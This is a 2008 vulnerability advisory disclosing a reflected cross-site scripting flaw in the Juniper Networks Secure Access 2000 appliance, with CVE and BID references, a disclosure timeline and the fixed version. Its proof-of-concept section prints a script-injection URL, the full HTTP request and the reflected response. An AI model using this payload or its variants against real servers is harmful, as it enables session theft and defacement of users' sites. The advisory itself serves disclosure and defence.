Vulnerabilities 2008

PR07-41 XSS on Juniper Networks Secure Access 2000

• Advisory publicly released: Thursday, 28 February 2008
• Vulnerability found: Thursday, 6 December 2007
• Vendor informed: Wednesday, 12 December 2007
• Severity level: Medium/High

• Credits
  Richard Brain of ProCheckUp Ltd (www.procheckup.com)
• Description
  Juniper Networks Secure Access 2000 is vulnerable to a vanilla XSS.
  
  Vulnerable server-side script: '/dana-na/auth/rdremediate.cgi'
  
  Unfiltered parameter: 'delivery_mode'
• Proof of concept
  https://target-domain.foo/dana-na/auth/rdremediate.cgi?delivery_mode=</APPLET><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&action=tryagain&signinId=url_default
  
  
  - COMPLETE HTTP REQUEST
  GET /dana-na/auth/rdremediate.cgi?delivery_mode=</APPLET><SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>&action=tryagain&signinId=url_default HTTP/1.1
  User-Agent: curl/7.15.4 (i486-pc-linux-gnu) libcurl/7.15.4 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.3
  Host: target-domain.foo
  Accept: */*
  [CRLF]
  [CRLF]
  
  - PARTIAL HTTP RESPONSE
  
  <title></title>
  
  [SNIP]
  
  <APPLET id=NeoterisSetup > Unknown deliver mode </APPLET><SCRIPT>alert('Can Cross Site Attack')</SCRIPT>
  <PARAM NAME="Parameter0" VALUE="action=tryagain"></APPLET>
• How to fix
  Juniper Networks was aware of this issue which they addressed on version 5.5R3. However, we decided to release this advisory due to lack of information regarding this vulnerability in the public domain.
• Consequences
  An attacker may be able to cause execution of malicious scripting code in the browser of a victim user who clicks on a link to a Juniper Networks Secure Access site. Such code would run within the security context of the target domain.
  
  This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: admin session IDs) to unauthorised third parties.
• BID
  28034
• CVE reference
  CVE-2008-1180
• Successfully tested on
  Juniper Networks Secure Access 2000 (SA-2000) 5.5R1 (build 11711)
• References
  

  
  http://www.procheckup.com/research/views/vulnerabilities

  
  http://www.juniper.net/products_and_services/ssl_vpn_secure_access/secure_access_2000/

  
  
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